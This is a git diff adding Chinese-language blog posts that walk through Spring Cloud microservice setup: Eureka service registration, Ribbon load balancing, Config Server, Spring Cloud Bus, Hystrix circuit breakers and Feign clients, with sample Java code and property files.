SpringApplication.run(EurekaApplication.class, args); + } + +} +``` ++ 在application.properties中添加配置 + +```shell +server.port=1111 +eureka.client.register-with-eureka=false +eureka.client.fetch-registry=false +eureka.client.serviceUrl.defaultZone=http://localhost:${server.port}/eureka +``` + ++ 地址栏访问 http://localhost:1111/ + +![](/uploads/2019/08/13-01.png) + ++ [创建 Eureka Discovery Client 项目](https://start.spring.io/) ++ 在创建项目时，请将 Eureka Discovery Client 组件选好 ++ 添加注解 EnableDiscoveryClient + +```shell +@EnableDiscoveryClient +@SpringBootApplication +public class ComputeApplication { + + public static void main(String[] args) { + SpringApplication.run(ComputeApplication.class, args); + } + +} + +``` ++ 在application.properties中添加配置 + +```shell +spring.application.name=compute-service +server.port=2223 +eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/ +``` + ++ 新增类ComputeController + +```java +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ComputeController { + Logger logger = LoggerFactory.getLogger(ComputeController.class); + @RequestMapping(value = "/add", method = RequestMethod.GET) + public Integer add(@RequestParam Integer a, @RequestParam Integer b) { + Integer r = a + b; + logger.info("/add, result:" + r); + return r; + } +} +``` + +![](/uploads/2019/08/13-02.png) + ++ 访问 http://localhost:2223/add?a=1&b=2 + + +# 参考 + ++ [Spring Cloud Eureka的服务注册与发现](https://www.cnblogs.com/duanxz/p/3548023.html) \ No newline at end of file diff --git a/_posts/2019-08-13-456-eureka02.md b/_posts/2019-08-13-456-eureka02.md new file mode 100644 index 0000000..077dbd3 --- /dev/null +++ b/_posts/2019-08-13-456-eureka02.md @@ -0,0 +1,53 @@ +--- +layout: post +title: 微服务：Eureka高可用注册中心 +pid: 456 +tags: [微服务] +--- + ++ 更新 Eureka Server ++ 新增 application-peer1.properties + +```shell +spring.application.name=eureka-server +server.port=1111 +eureka.instance.hostname=peer1 + +eureka.client.serviceUrl.defaultZone=http://peer2:1112/eureka/ +``` + ++ 新增 application-peer2.properties + +```shell +spring.application.name=eureka-server +server.port=1112 +eureka.instance.hostname=peer2 + +eureka.client.serviceUrl.defaultZone=http://peer1:1111/eureka/ +``` + ++ 更新 /etc/hosts + +```shell +127.0.0.1 peer1 +127.0.0.1 peer2 +``` + ++ 启动Eureka Server +```shell +java -jar eureka-0.0.1-SNAPSHOT.jar --spring.profiles.active=peer1 +java -jar eureka-0.0.1-SNAPSHOT.jar --spring.profiles.active=peer2 +``` + ++ 更新compute service +```shell +spring.application.name=compute-service +server.port=2222 + +eureka.client.serviceUrl.defaultZone=http://peer1:1111/eureka/,http://peer2:1112/eureka/ +``` + + +# 参考 + ++ [高可用服务注册中心](https://www.cnblogs.com/duanxz/p/3518882.html) \ No newline at end of file diff --git a/_posts/2019-08-13-457-ribbon.md b/_posts/2019-08-13-457-ribbon.md new file mode 100644 index 0000000..57e9a54 --- /dev/null +++ b/_posts/2019-08-13-457-ribbon.md @@ -0,0 +1,145 @@ +--- +layout: post +title: 微服务：Eureka Ribbon +pid: 457 +tags: [微服务] +--- + +目前主流的LB方案可分成两类： + +一种是集中式LB, 即在服务的消费方和提供方之间使用独立的LB设施(可以是硬件，如F5, 也可以是软件，如nginx), 由该设施负责把访问请求通过某种策略转发至服务的提供方； + +另一种是进程内LB，将LB逻辑集成到消费方，消费方从服务注册中心获知有哪些地址可用，然后自己再从这些地址中选择出一个合适的服务器。Ribbon就属于后者，它只是一个类库，集成于消费方进程，消费方通过它来获取到服务提供方的地址。 + +使用负载均衡带来的好处很明显： + ++ 当集群里的1台或者多台服务器down的时候，剩余的没有down的服务器可以保证服务的继续使用 ++ 使用了更多的机器保证了机器的良性使用，不会由于某一高峰时刻导致系统cpu急剧上升 + +软负载均衡的实现方式有两种，分别是服务端的负载均衡和客户端的负载均衡 + +服务端负载均衡：当浏览器向后台发出请求的时候，会首先向反向代理服务器发送请求，反向代理服务器会根据客户端部署的ip：port映射表以及负载均衡策略，来决定向哪台服务器发送请求，一般会使用到nginx反向代理技术。 + +客户端负载均衡：当浏览器向后台发出请求的时候，客户端会向服务注册器(例如：Eureka Server)，拉取注册到服务器的可用服务信息，然后根据负载均衡策略，直接命中哪台服务器发送请求。这整个过程都是在客户端完成的，并不需要反向代理服务器的参与。 + +负载均衡有好几种实现策略，常见的有： + ++ 随机 (Random) ++ 轮询 (RoundRobin) ++ 一致性哈希 (ConsistentHash) ++ 哈希 (Hash) ++ 加权（Weighted） + + ++ [创建Ribbon项目](https://start.spring.io/) + ++ ConsumerApplication + +```java +package com.baoguoding.consumer; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.client.loadbalancer.LoadBalanced; +import org.springframework.cloud.netflix.eureka.EnableEurekaClient; +import org.springframework.cloud.netflix.ribbon.RibbonClient; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.FilterType; +import org.springframework.web.client.RestTemplate; + +@SpringBootApplication +@EnableEurekaClient +@RibbonClient(name = "compute-service", configuration = TestConfiguration.class) +@ComponentScan(excludeFilters = {@ComponentScan.Filter(type= FilterType.ANNOTATION,value=ExcludeFromComponentScan.class)}) +public class ConsumerApplication { + + @Bean + @LoadBalanced + public RestTemplate restTemplate() { + return new RestTemplate(); + } + + public static void main(String[] args) { + SpringApplication.run(ConsumerApplication.class, args); + } + +} +``` + ++ ExcludeFromComponentScan + +```java +package com.baoguoding.consumer; + +public @interface ExcludeFromComponentScan { +} +``` + ++ RestTemplateController + +```java +package com.baoguoding.consumer; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +import java.util.concurrent.atomic.AtomicInteger; + +@RestController +public class RestTemplateController { + + @Autowired + private RestTemplate restTemplate; + + private AtomicInteger sn = new AtomicInteger(0); + @RequestMapping(value = "/test", method = RequestMethod.GET) + public void test(@RequestParam Integer a, @RequestParam Integer b) {// 将原来的ip:port的形式，改成注册到Eureka Server上的应用名即可 + System.out.println("=============================="); + String result = restTemplate.getForObject("http://compute-service/add?a="+a +"&b="+b + "&sn="+sn.incrementAndGet(), String.class); + System.out.println("返回结果:" + result); + } +} + +``` + ++ TestConfiguration + +```java +package com.baoguoding.consumer; + +import com.netflix.loadbalancer.IRule; +import com.netflix.loadbalancer.RoundRobinRule; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration +@ExcludeFromComponentScan +public class TestConfiguration { + + @Bean + public IRule ribbonRule() { + //return new RandomRule(); //设置负载均衡的规则为随机 + return new RoundRobinRule(); //默认的轮询策略 + } +} +``` + ++ application.properties + +```java +spring.application.name=consumer-service +server.port=2230 +eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/ +``` + +# 参考 + ++ [使用Ribbon实现客户端的均衡负载](https://www.cnblogs.com/duanxz/p/6123502.html) ++ [Spring Cloud Netflix负载均衡组件Ribbon介绍](https://www.cnblogs.com/duanxz/p/7514064.html) ++ [Loadbalance的源码](https://www.cnblogs.com/duanxz/p/7504947.html) ++ [AvailabilityFilteringRule的坑](https://www.cnblogs.com/duanxz/p/6202982.html) \ No newline at end of file diff --git a/_posts/2019-08-14-458-springcloud-config.md b/_posts/2019-08-14-458-springcloud-config.md new file mode 100644 index 0000000..b2e84dd --- /dev/null +++ b/_posts/2019-08-14-458-springcloud-config.md @@ -0,0 +1,84 @@ +--- +layout: post +title: 微服务：Config Server +pid: 458 +tags: [微服务] +--- + +Spring Cloud Config为服务端和客户端提供了分布式系统的外部化配置支持。配置服务器为各应用的所有环境提供了一个中心化的外部配置。它实现了对服务端和客户端对Spring Environment和PropertySource抽象的映射，所以它除了适用于Spring构建的应用程序，也可以在任何其他语言运行的应用程序中使用。作为一个应用可以通过部署管道来进行测试或者投入生产，我们可以分别为这些环境创建配置，并且在需要迁移环境的时候获取对应环境的配置来运行。 + +配置服务器默认采用git来存储配置信息，这样就有助于对环境配置进行版本管理，并且可以通过git客户端工具来方便的管理和访问配置内容。当然他也提供本地化文件系统的存储方式，下面从这两方面介绍如何使用分布式配置来存储微服务应用多环境的配置内容。 + +![](/uploads/2019/08/15-01.png) + ++ 首先我们需要一个远程的Git仓库，自己学习可以直接用GitHub，在在实际生产环境中，需要自己搭建一个Git服务器，远程Git仓库的作用主要是用来保存我们的配置文件 ++ 除了远程Git仓库之外，我们还需要一个本地Git仓库，每当Config Server访问远程Git仓库时，都会保存一份到本地，这样当远程仓库无法连接时，就直接使用本地存储的配置信息 ++ 至于微服务A、微服务B则是我们具体的应用，这些应用在启动的时候会从Config Server中来加载相应的配置信息 ++ 当微服务A/B尝试去从Config Server中加载配置信息的时候，Config Server会先通过git clone命令克隆一份配置文件保存到本地 ++ 由于配置文件是存储在Git仓库中，所以配置文件天然的具备版本管理功能，Git中的Hook功能可以实时监控配置文件的修改 + + + ++ [创建Config Server项目](https://start.spring.io/) ++ 添加注解 EnableConfigServer + +```java +package com.baoguoding.configcenter; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.config.server.EnableConfigServer; + +@EnableConfigServer +@SpringBootApplication +public class ConfigcenterApplication { + + public static void main(String[] args) { + SpringApplication.run(ConfigcenterApplication.class, args); + } + +} +``` + ++ 更新 application.properties + +```config +spring.application.name=config-server +server.port=7001 + +spring.cloud.config.server.git.uri=https://github.com/baoguoding/springcloud +spring.cloud.config.server.git.searchPaths=config-server +spring.cloud.config.server.git.username=****** +spring.cloud.config.server.git.password=****** +``` + ++ 访问 http://127.0.0.1:7001/center/dev/master ++ 新建 Config Client项目 + ++ 更新 application.properties + +```properties +server.port=7002 +``` + ++ 新增配置文件bootstrap.properties + +```properties +spring.application.name=center +spring.cloud.config.profile=dev +spring.cloud.config.label=master +spring.cloud.config.uri=http://127.0.0.1:7001/ +management.endpoints.web.exposure.include=* +``` + ++ 访问 http://127.0.0.1:7002/from + ++ 自动刷新 http://127.0.0.1:7002/actuator/refresh ++ 健康检查 http://127.0.0.1:7002/actuator/health + +# 参考 ++ [分布式配置中心config server介绍](https://www.cnblogs.com/duanxz/p/3512408.html) ++ [Spring cloud config Server源码分析](https://www.cnblogs.com/duanxz/p/3510159.html) ++ [config-server因为server端和client端的健康检查导致服务超时阻塞问题](https://www.cnblogs.com/duanxz/p/11272215.html) ++ [示例1](https://github.com/baoguoding/springcloud) ++ [示例2](https://github.com/baoguoding/config-server) \ No newline at end of file diff --git a/_posts/2019-08-16-459-springcloud-bus.md b/_posts/2019-08-16-459-springcloud-bus.md new file mode 100644 index 0000000..39c0eb7 --- /dev/null +++ b/_posts/2019-08-16-459-springcloud-bus.md @@ -0,0 +1,84 @@ +--- +layout: post +title: 微服务：Spring Cloud Bus +pid: 459 +tags: [微服务] +--- + ++ 给项目configclient增加依赖 + +```pom + + org.springframework.cloud + spring-cloud-bus + + + org.springframework.cloud + spring-cloud-starter-bus-amqp + +``` + ++ 在配置文件中增加关于RabbitMQ的连接和用户信息 +```config +spring.rabbitmq.host=localhost +spring.rabbitmq.port=5672 +spring.rabbitmq.username=springcloud +spring.rabbitmq.password=123456 +``` + ++ 启动configclient + +``` +java -jar .\target\configclient-0.0.1-SNAPSHOT.jar --spring.profiles.active=c1 +java -jar .\target\configclient-0.0.1-SNAPSHOT.jar --spring.profiles.active=c2 +``` + ++ 访问 + +``` +http://127.0.0.1:7002/from +http://127.0.0.1:7003/from +``` + ++ 刷新bus + +``` +http://127.0.0.1:7002/actuator/bus-refresh +或者 +http://127.0.0.1:7003/actuator/bus-refresh +``` + +# 原理 + +![](/uploads/2019/08/17-01.png) + +整个方案的架构如上图所示，其中包含了Git仓库、Config Server、以及微服务“Service A”的三个实例，这三个实例中都引入了Spring Cloud Bus，所以他们都连接到了RabbitMQ的消息总线上。 + +当我们将系统启动起来之后，“Service A”的三个实例会请求Config Server以获取配置信息，Config Server根据应用配置的规则从Git仓库中获取配置信息并返回。 + +此时，若我们需要修改“Service A”的属性。首先，通过Git管理工具去仓库中修改对应的属性值，但是这个修改并不会触发“Service A”实例的属性更新。我们向“Service A”的实例3发送POST请求，访问/bus/refresh接口。此时，“Service A”的实例3就会将刷新请求发送到消息总线中，该消息事件会被“Service A”的实例1和实例2从总线中获取到，并重新从Config Server中获取他们的配置信息，从而实现配置信息的动态更新。 + +而从Git仓库中配置的修改到发起/bus-refresh的POST请求这一步可以通过Git仓库的Web Hook来自动触发。由于所有连接到消息总线上的应用都会接受到更新请求，所以在Web Hook中就不需要维护所有节点内容来进行更新，从而解决了通过Web Hook来逐个进行刷新的问题。 + +# 架构优化 + +既然Spring Cloud Bus的/bus/refresh接口提供了针对服务和实例进行配置更新的参数，那么我们的架构也相应的可以做出一些调整。在之前的架构中，服务的配置更新需要通过向具体服务中的某个实例发送请求，再触发对整个服务集群的配置更新。虽然能实现功能，但是这样的结果是，我们指定的应用实例就会不同于集群中的其他应用实例，这样会增加集群内部的复杂度，不利于将来的运维工作，比如：我们需要对服务实例进行迁移，那么我们不得不修改Web Hook中的配置等。所以我们要尽可能的让服务集群中的各个节点是对等的。 + +因此，我们将之前的架构做了一些调整，如下图所示： + +![](/uploads/2019/08/17-02.png) + +我们主要做了这些改动： + ++ 在Config Server中也引入Spring Cloud Bus，将配置服务端也加入到消息总线中来。 ++ /bus-refresh请求不在发送到具体服务实例上，而是发送给Config Server，并通过destination参数来指定需要更新配置的服务或实例。 + +通过上面的改动，我们的服务实例就不需要再承担触发配置更新的职责。同时，对于Git的触发等配置都只需要针对Config Server即可，从而简化了集群上的一些维护工作。 + ++ 刷新 http://127.0.0.1:7001/actuator/bus-refresh + +# 参考 + ++ [Spring Cloud构建微服务架构（七）消息总线](https://www.cnblogs.com/duanxz/p/6678545.html) ++ [使用用户认证后 刷新配置端点bus-refresh](https://www.oschina.net/question/3877992_2281549?sort=time) ++ [401](https://www.twblogs.net/a/5b8160802b71772165ac5168/zh-cn) \ No newline at end of file diff --git a/_posts/2019-08-17-460-hystrix.md b/_posts/2019-08-17-460-hystrix.md new file mode 100644 index 0000000..a491b8c --- /dev/null +++ b/_posts/2019-08-17-460-hystrix.md @@ -0,0 +1,204 @@ +--- +layout: post +title: 微服务：Hystrix +pid: 460 +tags: [微服务] +--- + +在微服务架构中，我们将系统拆分成了一个个的服务单元，各单元间通过服务注册与订阅的方式互相依赖。由于每个单元都在不同的进程中运行，依赖通过远程调用的方式执行，这样就有可能因为网络原因或是依赖服务自身问题出现调用故障或延迟，而这些问题会直接导致调用方的对外服务也出现延迟，若此时调用方的请求不断增加，最后就会出现因等待出现故障的依赖方响应而形成任务积压，最终导致自身服务的瘫痪。 + +举个例子，在一个电商网站中，我们可能会将系统拆分成，用户、订单、库存、积分、评论等一系列的服务单元。用户创建一个订单的时候，在调用订单服务创建订单的时候，会向库存服务来请求出货（判断是否有足够库存来出货）。此时若库存服务因网络原因无法被访问到，导致创建订单服务的线程进入等待库存申请服务的响应，在漫长的等待之后用户会因为请求库存失败而得到创建订单失败的结果。如果在高并发情况之下，因这些等待线程在等待库存服务的响应而未能释放，使得后续到来的创建订单请求被阻塞，最终导致订单服务也不可用。 + +在微服务架构中，存在着那么多的服务单元，若一个单元出现故障，就会因依赖关系形成故障蔓延，最终导致整个系统的瘫痪，这样的架构相较传统架构就更加的不稳定。为了解决这样的问题，因此产生了断路器模式。 +什么是断路器 + +断路器模式源于Martin Fowler的Circuit Breaker一文。“断路器”本身是一种开关装置，用于在电路上保护线路过载，当线路中有电器发生短路时，“断路器”能够及时的切断故障电路，防止发生过载、发热、甚至起火等严重后果。 + +熔断器设计中有三种状态，closed（关闭状态，流量可以正常进入）、open（即熔断状态，一旦错误达到阈值，熔断器将打开，拒绝所有流量）和half-open(半开状态，open状态持续一段时间后将自动进入该状态，重新接收流量，一旦请求失败，重新进入open状态，但如果成功数量达到阈值，将进入closed状态)，见下图： + +![](/uploads/2019/08/19-01.png) + +CLOSED关闭状态：允许流量通过。 + +OPEN打开状态：不允许流量通过，即处于降级状态，走降级逻辑。 + +HALF_OPEN半开状态：允许某些流量通过，并关注这些流量的结果，如果出现超时、异常等情况，将进入OPEN状态，如果成功，那么将进入CLOSED状态。 + +在分布式架构中，断路器模式的作用也是类似的，当某个服务单元发生故障（类似用电器发生短路）之后，通过断路器的故障监控（类似熔断保险丝），向调用方返回一个错误响应，而不是长时间的等待。这样就不会使得线程因调用故障服务被长时间占用不释放，避免了故障在分布式系统中的蔓延。 + +# Netflix Hystrix + +在Spring Cloud中使用了Hystrix 来实现断路器的功能。Hystrix是Netflix开源的微服务框架套件之一，该框架目标在于通过控制那些访问远程系统、服务和第三方库的节点，从而对延迟和故障提供更强大的容错能力。Hystrix具备拥有回退机制和断路器功能的线程和信号隔离，请求缓存和请求打包，以及监控和配置等功能。 + +下面我们来看看如何使用Hystrix。 + +Netfix Hystrix可以通过两种方式引入： + ++ 从服务组件角度分：ribbon和Feign； ++ 从代码方式角度分：hystrix通过设置fallback和fallbackFactory属性触发请求容灾降级； + +在Ribbon为引入Hystirx之前 + ++ 依次启动eureka-server、compute-service、ribbon-consumer工程 ++ 访问http://localhost:1111/可以看到注册中心的状态 ++ 访问http://127.0.0.1:2230/add，调用ribbon-consumer的服务，该服务会去调用compute-service的服务，计算出10+20的值，页面显示30 ++ 关闭compute-service服务，访问http://127.0.0.1:2230/add，我们获得了下面的报错信息 + +![](/uploads/2019/08/19-02.png) + +# 增加 Hystrix模块 + ++ 更新pom.xml + +``` + + + org.springframework.cloud + spring-cloud-starter-netflix-hystrix + +``` + ++ 更新 ConsumerApplication.java + +``` +@EnableCircuitBreaker + +public class ConsumerApplication { + public static void main(String[] args) { + SpringApplication.run(ConsumerApplication.class, args); + } +} +``` + ++ 新增 ComputeService.java + +```java +package com.baoguoding.consumer; + +import com.netflix.hystrix.contrib.javanica.annotation.HystrixCommand; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.web.client.RestTemplate; +import java.util.concurrent.atomic.AtomicInteger; + +@Service +public class ComputeService { + @Autowired + RestTemplate restTemplate; + + private AtomicInteger sn = new AtomicInteger(0); + @HystrixCommand(fallbackMethod = "addServiceFallback") + public String addService() { + return restTemplate.getForEntity("http://COMPUTE-SERVICE/add?a=10&b=20&sn=1 + &sn="+sn.incrementAndGet(), String.class).getBody(); + } + + public String addServiceFallback() { + return "error"; + } +} + +``` ++ 更新 RestTemplateController.java + +```java +package com.baoguoding.consumer; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + + +@RestController +public class RestTemplateController { + + @Autowired + private ComputeService computeService; + + @RequestMapping(value = "/add", method = RequestMethod.GET) + public String add(@RequestParam Integer a, @RequestParam Integer b) { + return computeService.addService(); + } +} +``` + ++ 访问 http://127.0.0.1:2230/add?a=1&b=22 + ++ 将comput 服务关闭，再访问 + +![](/uploads/2019/08/19-03.png) + +## 随机熔断场景 + ++ 更新 ComputeController.java + +``` +@RestController +public class ComputeController { + Logger logger = LoggerFactory.getLogger(ComputeController.class); + @RequestMapping(value = "/add", method = RequestMethod.GET) + public Integer add(@RequestParam Integer a, @RequestParam Integer b, @RequestParam Integer sn) { + Integer r = a + b; + try { + int sleepTime = new Random().nextInt(3000); + System.out.println("sleepTime=" + sleepTime); + Thread.sleep(sleepTime); + } catch (InterruptedException e) { + e.printStackTrace(); + } + logger.info("/add, result:" + r + ",sn="+sn +",time="+ LocalDateTime.now()); + return r; + } +} +``` + ++ 更新 RestTemplateController.java + +``` +package com.baoguoding.consumer; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +import java.util.concurrent.atomic.AtomicInteger; + +@RestController +public class RestTemplateController { + @Autowired + private ComputeService computeService; + + private AtomicInteger sn = new AtomicInteger(0); + @RequestMapping(value = "/add", method = RequestMethod.GET) + public String add(@RequestParam Integer a, @RequestParam Integer b) { + Long start = System.currentTimeMillis(); + String temp = computeService.addService(); + Long end = System.currentTimeMillis(); + System.out.println("computeService.addService()="+temp + ",user time=" +(end-start) + "毫秒"); + return temp; + } +} + +``` + +![](/uploads/2019/08/19-04.png) + +# 方式二：Feign使用Hystrix + +注意这里说的是“使用”，没有错，我们不需要在Feigh工程中引入Hystix，Feign中已经依赖了Hystrix，我们可以在未做任何改造前，尝试下面你的操作： + ++ 依次启动eureka-server、compute-service、eureka-feign工程 ++ 访问http://localhost:1111/可以看到注册中心的状态 ++ 访问http://localhost:3334/add，调用eureka-feign的服务，该服务会去调用compute-service的服务，计算出10+20的值，页面显示30 ++ 关闭compute-service服务，访问http://localhost:3334/add，我们获得了下面的报错信息 + + + + +# 参考 ++ [Hystrix入门示例介绍](https://www.cnblogs.com/duanxz/p/7519893.html) ++ [高可用服务设计之二：Rate limiting 限流与降级](https://www.cnblogs.com/duanxz/p/3465559.html) \ No newline at end of file diff --git a/_posts/2019-08-17-461-springcloud.md b/_posts/2019-08-17-461-springcloud.md new file mode 100644 index 0000000..b0e253b --- /dev/null +++ b/_posts/2019-08-17-461-springcloud.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 微服务：Spring Cloud目录 +pid: 461 +tags: [微服务] +--- + ++ Spring boot ++ Spring Actuator -- 监控 ++ RestTemplate ++ Spring Cloud Eureka -- 服务治理 + + Spring Cloud Eurake Server -- 注册中心 + + Spring Cloud Discovery Client -- 发现服务1 + + Spring Cloud Eureka Client -- 发现服务2 ++ Spring Cloud Ribbon -- 客户端负载均衡 -- 服务消费1 ++ RxJava ++ Spring Cloud Hystrix -- 容错保护 ++ Spring Cloud Feign -- 声明式服务调用 -- 服务消费2 ++ Spring Cloud Zuul -- API网关服务 ++ Spring Cloud Config -- 分布式配置中心 ++ Spring Cloud Bus -- 消息总线 ++ Spring Cloud Stream -- 消息驱动服务 ++ Spring Cloud Sleuth -- 分布式服务跟踪 + + +高可用服务设计 +https://www.cnblogs.com/duanxz/archive/2013/06/13/3134358.html ++ [Spring Cloud 系列文章](http://www.ityouknow.com/spring-cloud.html) + + + + + + + diff --git a/_posts/2019-08-19-462-Feign.md b/_posts/2019-08-19-462-Feign.md new file mode 100644 index 0000000..e41ae1f --- /dev/null +++ b/_posts/2019-08-19-462-Feign.md @@ -0,0 +1,144 @@ +--- +layout: post +title: 微服务：Feign +pid: 462 +tags: [微服务] +--- + +Spring Cloud提供了Ribbon和Feign作为客户端的负载均衡。 + +前面使用了Ribbon做客户端负载均衡，使用Hystrix做容错保护，这两者被作为基础工具类框架被广泛地应用在各个微服务的实现中。SpringCloudFeign是将两者做了更高层次的封装以简化开发。它基于Netflix Feign实现，整合了SpringCloud Ribbon和SpringCloud Hystrix，除了提供这两者的强大功能外，还提供了一种声明是的Web服务客户端定义的方式。SpringCloud Feign在NetFixFeign的基础上扩展了对SpringMVC注解的支持，在其实现下，我们只需创建一个接口并用注解的方式来配置它，即可完成对服务提供方的接口绑定。简化了SpringCloud Ribbon自行封装服务调用客户端的开发量。 + +在Spring Cloud下，使用Ribbon直接注入一个RestTemplate对象即可，此RestTemplate已做好负载均衡的配置；而使用Feign只需定义个注解，有@FeignClient注解的接口，然后使用@RequestMapping注解在方法上映射远程的REST服务，此方法也是做好了负载均衡配置。 + ++ 新建项目 feign-consumer https://start.spring.io/ ++ 更新配置 application.properties + +``` +spring.application.name=compute-consume-feign +server.port=2231 +eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/ +``` + ++ 启动类加注解 @EnableFeignClients + +``` +package com.baoguoding.feignconsumer; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.cloud.client.discovery.EnableDiscoveryClient; +import org.springframework.cloud.openfeign.EnableFeignClients; + + +@SpringBootApplication +@EnableFeignClients +@EnableDiscoveryClient +public class FeignConsumerApplication { + + public static void main(String[] args) { + SpringApplication.run(FeignConsumerApplication.class, args); + } + +} +``` + ++ 添加接口 HelloService + +``` +package com.baoguoding.feignconsumer.remote; + +import org.springframework.cloud.openfeign.FeignClient; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; + +@FeignClient("compute-service") +public interface HelloService { + @RequestMapping(value="/add", method = RequestMethod.GET) + String hello(@RequestParam("a") Integer a, @RequestParam("b") Integer b, @RequestParam("sn") Integer sn); +} +``` + ++ 添加服务类 AddConsumerController + +``` +package com.baoguoding.feignconsumer.service; + +import com.baoguoding.feignconsumer.remote.HelloService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.concurrent.atomic.AtomicInteger; + +@RestController +public class AddConsumerController { + @Autowired + HelloService helloService; + + private AtomicInteger sn = new AtomicInteger(0); + + @RequestMapping(value="/feign-consumer", method = RequestMethod.GET) + public String helloConsumer(@RequestParam Integer a, @RequestParam Integer b) { + return helloService.hello(a, b, sn.incrementAndGet()); + } +} +``` + ++ 访问 http://127.0.0.1:2231/feign-consumer?a=1&b=3 ++ 熔断处理，服务降级，新增类 HelloServiceFallback + +``` +package com.baoguoding.feignconsumer.remote; + +import org.springframework.stereotype.Service; + +@Service +public class HelloServiceFallback implements HelloService { + + @Override + public String hello(Integer a, Integer b, Integer sn) { + System.out.println("HelloServiceFallback"); + return "fallback"; + } + +} +``` ++ 更新 HelloService + +``` +package com.baoguoding.feignconsumer.remote; + +import org.springframework.cloud.openfeign.FeignClient; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; + +//@FeignClient("compute-service") +@FeignClient(name="compute-service", fallback=HelloServiceFallback.class) +public interface HelloService { + @RequestMapping(value="/add", method = RequestMethod.GET) + String hello(@RequestParam("a") Integer a, @RequestParam("b") Integer b, @RequestParam("sn") Integer sn); +} + +``` + ++ 打开compute 下面的随机函数 ++ 更新配置 application.properties +``` +feign.hystrix.enabled=true +``` ++ 访问 http://127.0.0.1:2231/feign-consumer?a=1&b=3 + +![](/uploads/2019/08/19-05.png) + + +# 参考 + ++ [一：申明式服务调用Feign入门示例](https://www.cnblogs.com/duanxz/p/7516676.html) ++ [Feign 功能介绍](https://www.cnblogs.com/duanxz/p/7519811.html) ++ [二：Spring Cloud中Feign的常见问题](https://my.oschina.net/u/2289161/blog/1553307) ++ [三：Feign设计原理](https://www.cnblogs.com/duanxz/p/7519819.html) \ No newline at end of file diff --git a/_posts/2019-08-20-463-Feign02.md b/_posts/2019-08-20-463-Feign02.md new file mode 100644 index 0000000..932fe1e --- /dev/null +++ b/_posts/2019-08-20-463-Feign02.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 微服务：Feign设计原理 +pid: 463 +tags: [微服务] +--- + +# 什么是Feign？ + +Feign 的英文表意为“假装，伪装，变形”，是一个http请求调用的轻量级框架，可以以Java接口注解的方式调用Http请求，而不用像Java中通过封装HTTP请求报文的方式直接调用。Feign通过处理注解，将请求模板化，当实际调用的时候，传入参数，根据参数再应用到请求上，进而转化成真正的请求，这种请求相对而言比较直观。 + +Feign被广泛应用在Spring Cloud 的解决方案中，是学习基于Spring Cloud 微服务架构不可或缺的重要组件。 + +开源项目地址：https://github.com/OpenFeign/feign + +# Feign解决了什么问题？ + +封装了Http调用流程，更适合面向接口化的变成习惯 + +在服务调用的场景中，我们经常调用基于Http协议的服务，而我们经常使用到的框架可能有HttpURLConnection、Apache HttpComponnets、OkHttp3 、Netty等等，这些框架在基于自身的专注点提供了自身特性。而从角色划分上来看，他们的职能是一致的提供Http调用服务。具体流程如下： + +![](/uploads/2019/08/20-01.png) + +# Feign是如何设计的？ + +![](/uploads/2019/08/20-02.png) + +# Feign 的性能怎么样？ + +Feign 整体框架非常小巧，在处理请求转换和消息解析的过程中，基本上没什么时间消耗。真正影响性能的，是处理Http请求的环节。 +如上所述，由于默认情况下，Feign采用的是JDK的HttpURLConnection,所以整体性能并不高，刚开始接触Spring Cloud 的同学，如果没注意这些细节，可能会对Spring Cloud 有很大的偏见。 +我们项目内部使用的是OkHttp3 作为连接客户端。 + + +# 参考 + ++ [三：Feign设计原理](https://www.cnblogs.com/duanxz/p/7519819.html) \ No newline at end of file diff --git a/_posts/2019-08-20-464-Feign03.md b/_posts/2019-08-20-464-Feign03.md new file mode 100644 index 0000000..778743c --- /dev/null +++ b/_posts/2019-08-20-464-Feign03.md @@ -0,0 +1,179 @@ +--- +layout: post +title: 微服务：Feign配置 +pid: 464 +tags: [微服务] +--- + +# Ribbon配置 + +在Feign中配置Ribbon非常简单，直接在application.properties中配置即可，如： + +``` +# 设置连接超时时间 +ribbon.ConnectTimeout=500 +# 设置读取超时时间 +ribbon.ReadTimeout=5000 +# 对所有操作请求都进行重试 +ribbon.OkToRetryOnAllOperations=true +# 切换实例的重试次数 +ribbon.MaxAutoRetriesNextServer=2 +# 对当前实例的重试次数 +ribbon.MaxAutoRetries=1 +``` + 